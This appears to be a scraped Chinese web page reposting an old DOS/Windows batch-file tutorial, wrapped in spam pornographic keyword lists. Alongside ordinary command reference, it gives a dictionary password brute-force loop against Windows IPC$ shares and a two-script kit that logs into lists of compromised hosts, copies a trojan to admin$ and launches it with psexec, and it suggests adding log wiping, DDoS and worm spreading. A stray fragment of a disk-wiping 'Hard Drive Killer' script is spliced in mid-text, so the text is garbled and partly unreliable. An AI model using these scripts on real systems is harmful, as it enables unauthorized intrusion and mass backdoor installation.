午夜视频免费看_日韩三级电影网站_国产精品久久一级_亚洲一级在线播放_人妻体内射精一区二区三区_91夜夜揉人人捏人人添红杏_91福利在线导航_国产又粗又猛又黄又爽无遮挡_欧美日韩一区在线播放_中文字幕一区二区三区四区不卡 _日日夜夜精品视频免费观看_欧美韩日一区二区三区

主頁 > 知識庫 > DOS批處理腳本語言簡介與詳細說明

DOS批處理腳本語言簡介與詳細說明

熱門標簽:湖州手機外呼系統 徐州客服外呼系統排名 軟通動力地圖標注專員 五華銷售外呼管理系統電話 DOTA地圖標注app 百度地圖標注地址有什么影響 聯通400電話去哪里申請啊 綿陽外呼線路 汕頭外呼crm系統
一.簡單批處理內部命令簡介
  1.Echo 命令
  打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當
前回顯設置。
  語法
  echo [{on off}] [message]
  Sample:@echo off / echo hello world
  在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結
合來實現輸入一些命令到特定格式的文件中.這將在以后的例子中體現出來。
  2.@ 命令
  表示不顯示@后面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然
不能讓對方看到你使用的命令啦。
  Sample:@echo off
  @echo Now initializing the program,please wait a minite...
  @format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是
微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
  3.Goto 命令
  指定跳轉到標簽,找到標簽后,程序將處理從下一行開始的命令。
  語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
  Sample:
  if {%1}=={} goto noparms
  if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,后面
會有詳細的解釋。)
  @Rem check parameters if null show usage
  :noparms
  echo Usage: monitor.bat ServerIP PortNumber
  goto end
  標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字
母是標簽,goto命令就是根據這個:來尋找下一步跳到到那里。最好有一些說明這樣你別
人看起來才會理解你的意圖啊。
  4.Rem 命令
  注釋命令,在C語言中相當與/*--------*/,它并不會被執行,只是起一個注釋的作用
,便于別人閱讀和你自己日后修改。
  Rem Message
  Sample:@Rem Here is the description.
  5.Pause 命令
  運行 Pause 命令時,將顯示下面的消息:
  Press any key to continue . . .
  Sample:
  @echo off
  :begin
  copy a:*.* d:\back
  echo Please put a new disk into driver A

  pause
  goto begin
  在這個例子中,驅動器 A 中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示
您將另一張磁盤放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁盤,然后按任
意鍵繼續處理。
  6.Call 命令
  從一個批處理程序調用另一個批處理程序,并且不終止父批處理程序。call 命令接受
用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。

  語法
  call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
  參數
  [Drive:}[Path] FileName
  指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展
名。
 7.start 命令
  調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
  入侵常用參數:
  MIN 開始時窗口最小化
  SEPARATE 在分開的空間內開始 16 位 Windows 程序
  HIGH 在 HIGH 優先級類別開始應用程序
  REALTIME 在 REALTIME 優先級類別開始應用程序
 WAIT 啟動應用程序并等候它結束
 parameters 這些為傳送到命令/程序的參數
  執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提
示。如果在命令腳本內執行,該新行為則不會發生。
 8.choice 命令
  choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/
c:參數,c:后應寫提示可輸入的字符,之間無空格。它的返回碼為1234……
  如: choice /c:dme defrag,mem,end
  將顯示
  defrag,mem,end[D,M,E]?
  Sample:
  Sample.bat的內容如下:
  @echo off
  choice /c:dme defrag,mem,end
  if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
  if errorlevel 2 goto mem
  if errotlevel 1 goto end
  :defrag
  c:\dos\defrag
  goto end
  :mem
  mem
  goto end
  :end
  echo good bye
 此文件運行后,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然后if語句將作
出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標
號為end的程序段,每個程序段最后都以goto end將程序跳到end標號處,然后程序將顯示
good bye,文件結束。
  9.If 命令
  if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
  1、if "參數" == "字符串"  待執行的命令
  參數如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個
等號)
  如if "%1"=="a" format a:
  if {%1}=={} goto noparms
  if {%2}=={} goto noparms
  2、if exist 文件名  待執行的命令
  如果有指定的文件,則條件成立,運行命令,否則運行下一句。
 如if exist config.sys edit config.sys
  3、if errorlevel / if not errorlevel 數字  待執行的命令
  如果返回碼等于指定的數字,則條件成立,運行命令,否則運行下一句。
  如if errorlevel 2 goto x2  
  DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的
返回碼為0、1。
10.for 命令
  for 命令是一個比較復雜的命令,主要用于參數在指定的范圍內循環執行命令。
  在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable
  for {%variable %%variable} in (set) do command [ CommandLineOptions]
  %variable 指定一個單一字母可替換的參數。
  (set) 指定一個或一組文件。可以使用通配符。
  command 指定對每個文件執行的命令。
  command-parameters 為特定命令指定參數或命令行開關。
  在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable
  而不要用 %variable。變量名稱是區分大小寫的,所以 %i 不同于 %I
  如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
  支持:
  FOR /D %variable IN (set) DO command [command-parameters]
 如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。
  FOR /R [[drive:]path] %variable IN (set) DO command [command-
  檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 后沒
有指定目錄,則使用當前目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。
  FOR /L %variable IN (start,step,end) DO command [command-para
  該集表示以增量形式從開始到結束的一個數字序列。
  因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
  序列 (5 4 3 2 1)。
  FOR /F ["options"] %variable IN (file-set) DO command
  FOR /F ["options"] %variable IN ("string") DO command
  FOR /F ["options"] %variable IN (command) DO command
  或者,如果有 usebackq 選項:
  FOR /F ["options"] %variable IN (file-set) DO command
  FOR /F ["options"] %variable IN ("string") DO command
  FOR /F ["options"] %variable IN (command) DO command
  filenameset 為一個或多個文件名。繼續到 filenameset 中的
  下一個文件之前,每份文件都已被打開、讀取并經過處理。
  處理包括讀取文件,將其分成一行行的文字,然后將每行
  解析成零或更多的符號。然后用已找到的符號字符串變量值
  調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
  的第一個空白符號。跳過空白行。您可通過指定可選 "options"
 參數替代默認解析操作。這個帶引號的字符串包括一個或多個
  指定不同解析選項的關鍵字。這些關鍵字為:
  eol=c - 指一個行注釋字符的結尾(就一個)
  skip=n - 指在文件開始時忽略的行數。
  delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
  默認分隔符集。
  tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
  的 for 本身。這會導致額外變量名稱的
  格式為一個范圍。通過 nth 符號指定 m
  符號字符串中的最后一個字符星號,
  那么額外的變量將在最后一個符號解析之
 分配并接受行的保留文本。
 usebackq - 指定新語法已在下類情況中使用:
 在作為命令執行一個后引號的字符串并且引號字符為文字字符串命令并允許在 fi中使用
雙引號擴起文件名稱。
sample1:
  FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
  會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第
三個符號傳遞給 for 程序體;用逗號和/或空格定界符號。請注意,這個 for 程序體的語
句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號后
的所有剩余符號。對于帶有空格的文件名,您需要用雙引號將文件名括起來。為了用這種
方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義
某個要分析的字符串的。
  %i 專門在 for 語句中得到說明,%j 和 %k 是通過
  tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號,只要
不試圖說明一個高于字母 z 或Z 的變量。請記住,FOR 變量是單一字母、分大小寫和全局
的同時不能有 52 個以上都在使用中。
  您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,用單引號將括號之間的 f
ilenameset 括起來。這樣,該字符串會被當作一個文件中的一個單一輸入行。
  最后,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括號之間的 filenames
et 變成一個反括字符串。該字符串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被
抓進內存,并被當作文件分析。因此,以下例子:
  FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
  會枚舉當前環境中的環境變量名稱。
  另外,FOR 變量參照的替換已被增強。您現在可以使用下列
  選項語法:
  ~I - 刪除任何引號("),擴充 %I
  %~fI - 將 %I 擴充到一個完全合格的路徑名
  %~dI - 僅將 %I 擴充到一個驅動器號
  %~pI - 僅將 %I 擴充到一個路徑
  %~nI - 僅將 %I 擴充到一個文件名
  %~xI - 僅將 %I 擴充到一個文件擴展名
  %~sI - 擴充的路徑只含有短名
  %~aI - 將 %I 擴充到文件的文件屬性
  %~tI - 將 %I 擴充到文件的日期/時間
  %~zI - 將 %I 擴充到文件的大小
  %~$PATH:I - 查找列在路徑環境變量的目錄,并將 %I 擴充到找到的第一個完全合格
的名稱。如果環境變量未被定義,或者沒有找到文件,此組合鍵會擴充空字符串
  可以組合修飾符來得到多重結果:
  %~dpI - 僅將 %I 擴充到一個驅動器號和路徑
  %~nxI - 僅將 %I 擴充到一個文件名和擴展名
  %~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
  %~dp$PATH:i - 查找列在路徑環境變量的目錄,并將 %I 擴充到找到的第一個驅動器
號和路徑。
  %~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
  在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名比較易讀,而且避免與不分大
小寫的組合鍵混淆。
以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

  sample2:
  利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。
  我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行
連接,當成功時記下密碼。
  最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"
administrator"
  用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然后將
程序運行結果傳遞給find命令--
  for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator" fi
nd ":命令成功完成">>D:\ok.txt ,這樣就ko了。
  sample3:
  你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當數量特別多的時候,原本
很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或
重復性任務。那么如何實現呢?呵呵,看下去你就會明白了。
  主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variab
le)
  @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat
 %%i %%j %%k
  tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞
給door.bat中的參數%i %j %k。
  而cultivate.bat無非就是用net use命令來建立IPC$連接,并copy木馬+后門到vict
im,然后用返回碼(If errorlever =)來篩選成功種植后門的主機,并echo出來,或者e
cho到指定的文件。
  delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這
victim.txt里的內容是什么樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是
ip password username。
  代碼雛形:
  --------------- cut here then save as a batchfile(I call it main.bat ) ---
------------------------
  @echo off
  @if "%1"=="" goto usage
  @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.
bat %%i %%j %%k
  @goto end
  :usage
  @echo run this batch in dos modle.or just double-click it.
  :end
  --------------- cut here then save as a batchfile(I call it main.bat ) ---
------------------------
  ------------------- cut here then save as a batchfile(I call it door.bat)
-----------------------------
  @net use \\%1\ipc$ %3 /u:"%2"
  @if errorlevel 1 goto failed
  @echo Trying to establish the IPC$ connection …………OK
  @copy windrv32.exe\\%1\admin$\system32  if not errorlevel 1 echo IP %1 U
SER %2 PWD %3 >>ko.txt
  @psexec \\%1 c:\winnt\system32\windrv32.exe
  @psexec \\%1 net start windrv32  if not errorlevel 1 echo %1 Backdoored >
>ko.txt                                                                                                                 
  :failed
  @echo Sorry can not connected to the victim.
  ----------------- cut here then save as a batchfile(I call it door.bat) --
------------------------------
  這只是一個自動種植后門批處理的雛形,兩個批處理和后門程序(Windrv32.exe),P
Sexec.exe需放在統一目錄下.批處理內容
  尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以
使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
二.如何在批處理文件中使用參數
  批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動
,這種情況并不多見,我們就不考慮它了。
  sample1:fomat.bat
  @echo off
  if "%1"=="a" format a:
  :format
  @format a:/q/u/auotset

  @echo please insert another disk to driver A.
  @pause
  @goto fomat
  這個例子用于連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,
呵呵,好像有點畫蛇添足了~^_^
  sample2:
  當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們
不如把一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這
個批處理,這樣就不用每次都打命令了。
  @echo off
  @net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。
  @if errorlevel 1 echo connection failed
  怎么樣,使用參數還是比較簡單的吧?你這么帥一定學會了^_^.No.3
  三.如何使用組合命令(Compound Command)
  1.
  Usage:第一條命令  第二條命令 [ 第三條命令...]
  用這種方法可以同時執行多條命令,而不管命令是否執行成功
  Sample:
  C:\&;dir z:  dir c:\Ex4rch
  The system cannot find the path specified.
  Volume in drive C has no label.
  Volume Serial Number is 0078-59FB
  Directory of c:\Ex4rch
  2002-05-14 23:51
.  2002-05-14 23:51
..   2002-05-14 23:51 14 sometips.gif
3.  
  Usage:第一條命令    第二條命令 [   第三條命令...]
  用這種方法可以同時執行多條命令,當碰到執行正確的命令后將不執行后面的命令,
如果沒有出現正確的命令則一直執行完所有命令;
  Sample:
  C:\Ex4rch>dir sometips.gif    del sometips.gif
  Volume in drive C has no label.
  Volume Serial Number is 0078-59FB
  Directory of C:\Ex4rch
  2002-05-14 23:55 14 sometips.gif
  1 File(s) 14 bytes
  0 Dir(s) 768,696,320 bytes free
  組合命令使用的例子:
  sample:
  @copy trojan.exe \\%1\admin$\system32  if not errorlevel 1 echo IP %1 US
ER %2 PASS %3 >>victim.txt
四、管道命令的使用
  1.  命令
  Usage:第一條命令   第二條命令 [  第三條命令...]
  將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。

 sample:
  time /t>>D:\IP.log
  netstat -n -p tcp find ":3389">>D:\IP.log
  start Explorer
  看出來了么?用于終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下
面這個bat,以獲得登錄用戶的IP。
  2.>、>>輸出重定向命令
  將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在于,>會清
除調原有文件中的內容后寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其
中的內容。
  sample1:
  echo hello world>c:\hello.txt (stupid example?)
  sample2:
  時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往
那里鉆,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序后,對該目
錄下的EXE和DLL文件作一個記錄:
  運行CMD--轉換目錄到system32--dir *.exe>exeback.txt  dir *.dll>dllback.txt
,
  這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
  日后如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木
馬了.
  這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dl
lback1.txt中,然后運行:
  CMD--fc exeback.txt exeback1.txt>diff.txt  fc dllback.txt dllback1.txt>di
ff.txt.(用FC命令比較前后兩次的DLL和EXE文件,并將結果輸入到ne?
  echo.
  echo Regards,
  echo.
  echo Munga Bunga
 :end
  rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
  rem Author: Munga Bunga - from Australia, the land full of retarded Austra
lians (help me get out of here).
  No.7

常用命令
  echo、@、call、pause、rem 是批處理文件最常用的幾個命令,我們就從他們開始學
起。 echo 表示顯示此命令后的字符
echo off 表示在此語句后所有運行的命令都不顯示命令行本身
@ 與echo off相象,但它是加在其它命令行的最前面,表示運行時不顯示命令行本身。

call 調用另一條批處理文件(如果直接調用別的批處理文件 ,執行完那條文件后將無法
執行當前文件后續命令)
pause 運行此句會暫停,顯示Press any key to continue... 等待用戶按任意鍵后繼續

rem 表示此命令后的字符為解釋行,不執行,只是給自己今后查找用的

  例:用edit編輯a.bat文件,輸入下列內容后存盤為c:\a.bat,執行該批處理文件后可
實現:將根目錄中所有文件寫入 a.txt中,啟動UCDOS,進入WPS等功能。

  批處理文件的內容為:         文件表示:

    echo off            不顯示命令行
    dir c:\*.* >a.txt       將c盤文件列表寫入a.txt
    call c:\ucdos\ucdos.bat    調用ucdos
    echo 你好            顯示"你好"
    pause              暫停,等待按鍵繼續
    rem 使用wps           注釋將使用wps
    cd ucdos            進入ucdos目錄
    wps               使用wps  

  批處理文件中還可以像C語言一樣使用參數,這只需用到一個參數表示符%。

   %表示參數,參數是指在運行批處理文件時在文件名后加的字符串。變量可以從 %0到
%9,%0表示文件名本身,字符串用%1到%9順序表示。

  例如,C:根目錄下一批處理文件名為f.bat,內容為 format %1
  則如果執行C:\&;f a:    則實際執行的是format a:

  又如C:根目錄下一批處理文件的名為t.bat,內容為 type %1 type %2

  那么運行C:\&;t a.txt b.txt 將順序地顯示a.txt和b.txt文件的內容
此外電腦每次啟動時都會尋找autoexec.bat這條批處理文件,從而可執行一些每次開機都
要執行的命令,如設置路徑path、加載鼠標驅動mouse、磁盤加速smartdrv等,可以使您的
電腦真正自動化。

特殊命令

  if goto choice for 是批處理文件中比較高級的命令,如果這幾個你用得很熟練,
你就是批處理文件的專家啦。 if 表示將判斷是否符合規定的條件,從而決定執行不同的
命令。 有三種格式:
1、if "參數" == "字符串"  待執行的命令
參數如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號

如if "%1"=="a" format a:

2、if exist 文件名  待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。如if exist config.sys
edit config.sys

3、if errorlevel 數字  待執行的命令
如果返回碼等于指定的數字,則條件成立,運行命令,否則運行下一句。如if errorleve
l 2 goto x2  DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回


goto 批處理文件運行到這里將跳到goto 所指定的標號處, 一般與if配合使用。 如:

goto end

:end
echo this is the end

標號用 :字符串 表示,標號所在行不被執行

choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參
數,c:后應寫提示可輸入的字符,之間無空格。它的返回碼為1234……

如: choice /cme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?

例如,test.bat的內容如下:
@echo off
choice /cme defrag,mem,end
if errorlevel 3 goto defrag 應先判斷數值最高的錯誤碼
if errorlevel 2 goto mem
if errotlevel 1 goto end

efrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行后,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然后if語句將作出
判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號
為end的程序段,每個程序段最后都以goto end將程序跳到end標號處,然后程序將顯示go
od bye,文件結束。
for 循環命令,只要條件符合,它將多次執行同一命令。
格式FOR [%%f] in (集合) DO [命令]
只要參數f在指定的集合內,則條件成立,執行命令
如果一條批處理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
含義是如果是以bat或txt結尾的文件,則顯示文件的內容。
autoexec.bat
   DOS在啟動會自動運行autoexec.bat這條文件,一般我們在里面裝載每次必用的程序
,如: path(設置路徑)、smartdrv(磁盤加速)、 mouse(鼠標啟動)、mscdex(光驅連接)、
 doskey(鍵盤管理)、set(設置環境變量)等。
  如果啟動盤根目錄中沒有這個文件,電腦會讓用戶輸入日期和時間。
  例如,一個典型的autoexec.bat內容如下:
@echo off                  不顯示命令行
prompt $p$g                 設置提示符前有目錄提示
path c:\dos;c:\;c:\windows;c:\ucdos;c:\tools    設置路徑
lh c:\dos\doskey.com                加載鍵盤管理
lh c:\mouse\mouse.com              加載鼠標管理
lh c:\dos\smartdrv.exe               加載磁盤加速管理
lh c:\dos\mscdex /S /D:MSCD000 /M:12 /V    加載CD-ROM驅動
set temp=c:\temp                  設置臨時目
IF -EXIST

首先用記事本建立一個文件,文件內容如下:
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
在C盤保存文件為TEST.BAT
然后執行命令
C:\&;TEST1.BAT
這時,如果AUTOEXEC.BAT中有內容的話會顯示出來。
接著再建立一個文件,內容如下:
@ECHO OFF
IF EXIST %1 TYPE %1
IF NOT EXIST %1 ECHO %1 does not exist
也保存在C盤,文件名為TEST2.BAT
然后執行命令
C:\&;TEST2 AUTOEXEC.BAT
同樣,如果AUTOEXEC.BAT中有內容的話會顯示出來。
說明:
1. IF EXIST 是用來測試文件是否存在的,格式為
IF EXIST [路徑+文件名] 命令
2. 其中第二個文件中的%1是參數,DOS允許傳遞9個批參數信息給批處理文件,分別為%1
---------%9 ,有點想實參和形參的關系,%1是形參,AUTOEXEC.BAT是實參。
更進一步的,建立一個名為ABC.BAT的文件,內容如下:
IF ‘%1' = = ‘ A ' ECHO XIAO
IF ‘%1' = = ‘ B ' ECHO TIAN
IF ‘%1' = = ‘ C ' ECHO XIN
完成后運行C:\&;ABC.BAT A B C
屏幕上會顯示C:\&;XIAOTIANXIA
如果執行C:\&;ABC.BAT A B
屏幕上會顯示C:\&;XIAOTIAN
DOS將一個空字符串附給參數%3。
可以將NOT放在IF和條件之間,指示IF在條件為假時執行某一命令。
注意:這個命令可在DOS下輸入直接運行。
IF-ERRORLEVEL
用記事本建立一個文件XIAO.BAT,內容如下
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL = = 0 ECHO 成功拷貝文件
然后執行文件
C:\&;XIAO.BAT
如果文件拷貝成功,屏幕就會顯示:成功拷貝文件
IF ERRORLEVEL 是用來測試它的上一個DOS命令的返回值的,注意只是上一個命令的返回值
,因此下面的批處理文件是錯誤的
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL = = 0 ECHO 成功拷貝文件
IF ERRORLEVEL = = 1 ECHO 未找到拷貝文件
IF ERRORLEVEL = = 2 ECHO 用戶通過ctrl-c中止拷貝操作
IF ERRORLEVEL = = 3 ECHO 預置錯誤阻止文件拷貝操作
IF ERRORLEVEL = = 4 ECHO 拷貝過程中寫盤錯誤
無論拷貝是否成功,后面的:
未找到拷貝文件
用戶通過ctrl-c中止拷貝操作
預置錯誤阻止文件拷貝操作
拷貝過程中寫盤錯誤
都將顯示出來。
注意:這個命令是可以在DOS下直接輸入的。
例如:
C:\&;XCOPY \AUTOEXEC.BAT D:\
之后可以執行
C:\&; IF ERRORLEVEL = = 0 ECHO 成功拷貝文件
如果成功,屏幕將顯示:
成功拷貝文件

以下就是幾個常用命令的返回值:
backup
出口狀態 意義
0 備份成功
1 未找到備份文件
2 文件共享沖突阻止備份完成
3 用戶用ctrl-c中止備份
4 由于致命的錯誤使備份操作中止
diskcomp
出口狀態 意義
0 盤比較相同
1 盤比較不同
2 用戶通過ctrl-c中止比較操作
3 由于致命的錯誤使比較操作中止
4 預置錯誤中止比較
diskcopy
出口狀態 意義
0 盤拷貝操作成功
1 非致命盤讀/寫錯
2 用戶通過ctrl-c結束拷貝操作
3 因致命的處理錯誤使盤拷貝中止
4 預置錯誤阻止拷貝操作
format
出口狀態 意義
0 格式化成功
3 用戶通過ctrl-c中止格式化處理
4 因致命的處理錯誤使格式化中止
5 在提示“proceed with format(y/n)?”下用戶鍵入n結束
xopy
出口狀態 意義
0 成功拷貝文件
1 未找到拷貝文件
2 用戶通過ctrl-c中止拷貝操作
4 預置錯誤阻止文件拷貝操作
5 拷貝過程中寫盤錯誤

IF STRING = = STRING

首先用記事本建立一個名為XIAO.BAT的文件,文件內容如下:
@echo off
IF "%1" = = "A" FORMAT A:
接著執行
C:\&;XIAO A
屏幕上就出現是否將A:盤格式化的內容。
這個語句的格式為
IF "參數" = = "字符串"  待執行的命令
參數如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。
注意:要想在DOS下直接使用,只有這樣
C:\&; IF "A" = = "A" FORMAT A:
毫無意義。

GOTO

首先用記事本建立一個名為XIAO.BAT的文件,文件內容如下:
@ECHO OFF
IF EXIST C:\AUTOEXEC.BAT GOTO KB
: KB                                                                                                                    
COPY C:\AUTOEXEC.BAT D:\
: DONE                                                                                                                  
注意:
1. 標號前是冒號(:)
2. 標號的最后一行是: DONG
3. DOS支持最長為八位的標號,當無法區別兩個標號時,將跳轉至最近的一個標號。

FOR
首先用記事本建立一個名為XIAO.BAT的文件,文件內容如下:
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
接著執行
C:>XIAO.BAT
執行以后,屏幕上會將C:盤所有的以 *.BAT *.TXT *.SYS為擴展名的文件內容顯示出來,
當然不包括隱藏文件。
說明:字符%%C 表示FOR命令變量,FOR支持通配符
您可能感興趣的文章:
  • BAT 批處理腳本教程(詳細篇腳本之家補充)
  • Windows server利用批處理腳本判斷端口啟動tomcat的方法
  • Windows下編寫批處理腳本來啟動和重置Oracle數據庫
  • Windows下bat批處理腳本使用telnet批量檢測遠程端口小記
  • 實現android應用程序自動化測試的批處理腳本
  • ip地址切換批處理腳本分享
  • 批量安裝windows補丁的批處理腳本
  • QQ多帳號自動登錄批處理腳本
  • 本地連接禁用/啟用批處理腳本
  • Windows注冊表中修改UAC(用戶賬號控制)及批處理腳本

標簽:廣東 邯鄲 棗莊 新余 內江 克拉瑪依 濟南 清遠

巨人網絡通訊聲明:本文標題《DOS批處理腳本語言簡介與詳細說明》,本文關鍵詞  DOS,批處理,腳本,語言,簡介,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《DOS批處理腳本語言簡介與詳細說明》相關的同類信息!
  • 本頁收集關于DOS批處理腳本語言簡介與詳細說明的相關信息資訊供網民參考!
  • 推薦文章
    亚洲欧美国产精品桃花| 久久久久久久午夜| 三级久久三级久久| 欧美福利在线观看| 国产又粗又长免费视频| 欧美zozozo| 一级片久久久久| 亚洲午夜羞羞片| 国产又粗又硬又长| 免费观看成年人视频| 日本亚洲精品在线观看| 欧美亚洲另类小说| 久久久国产一区| 日韩 欧美 中文| 久久人人爽人人| 国产精品无码久久久久成人app| 色妞一区二区三区| 欧美一级视频免费观看| 久久99精品久久久久久琪琪| 波多野结衣黄色| 久久精品成人欧美大片古装| www.youjizz.com亚洲| 久久福利网址导航| 国产精品视频一二区| 成人福利在线观看| 欧美亚洲精品在线观看| 5566日本婷婷色中文字幕97| 国产情侣激情自拍| 成人免费观看网站| 老色鬼久久亚洲一区二区| 亚洲自拍小视频免费观看| 国产又粗又猛视频| 成人欧美一区二区三区在线湿哒哒 | 91av视频在线观看| 日韩av午夜在线观看| 91最新国产视频| 久久天天做天天爱综合色| 亚洲一区美女| 亚洲欧美日韩综合aⅴ视频| 亚洲最大成人在线观看| 日韩一区二区视频| 91社区视频在线观看| 亚洲精品aⅴ中文字幕乱码 | 精品久久久香蕉免费精品视频| 中文字幕第4页| 亚洲天堂第二页| 少妇久久久久久被弄高潮| 精品精品欲导航| 久草视频一区二区| 国产一区二区色| 欧美国产乱子伦| 呦呦视频在线观看| 亚洲色图在线观看| 亚洲AV成人无码一二三区在线| 在线免费观看一区二区三区| 精品福利视频导航| 亚洲精品乱码久久久久久久久久久久| 久99九色视频在线观看| 免费成人你懂的| 欧美一级视频免费看| 欧美成人三级电影在线| 好吊视频一二三区| 成年人视频大全| 日韩欧美一二三四区| 九九精品免费视频| 一区高清视频| 亚洲高清久久网| 久久电影网站中文字幕| 国产精品久久久毛片| 欧美精品在线播放| 成人免费视频视频| 中文字幕黄色网址| 粉嫩av四季av绯色av第一区| 欧美性一二三区| 黄色三级网站在线观看| 日韩精品视频久久| 啊v视频在线一区二区三区 | 日韩精品福利在线| 精品午夜久久福利影院| 免费在线观看毛片网站| 在线观看精品国产视频| 91亚洲男人天堂| 秋霞欧美一区二区三区视频免费| 国产精品免费一区二区三区观看| 婷婷综合另类小说色区| 亚洲一级av毛片| 波多野结衣激情| 亚洲欧洲在线视频| 国产美女娇喘av呻吟久久| 国产91在线视频观看| 精品国产一区二区在线| 亚洲日本在线视频观看| 国产av无码专区亚洲av| 成人免费播放器| 久久久免费精品| 欧美性猛交xxxxx水多| 在线观看污污网站| 欧美又黄又嫩大片a级| 成人片在线免费看| 亚洲欧美日韩天堂| 一区二区三区中文字幕电影 | 国产欧美va欧美va香蕉在线| 日韩欧美另类在线| 91碰在线视频| 中文字幕在线网站| 在线观看国产三级| 中文字幕成人一区| 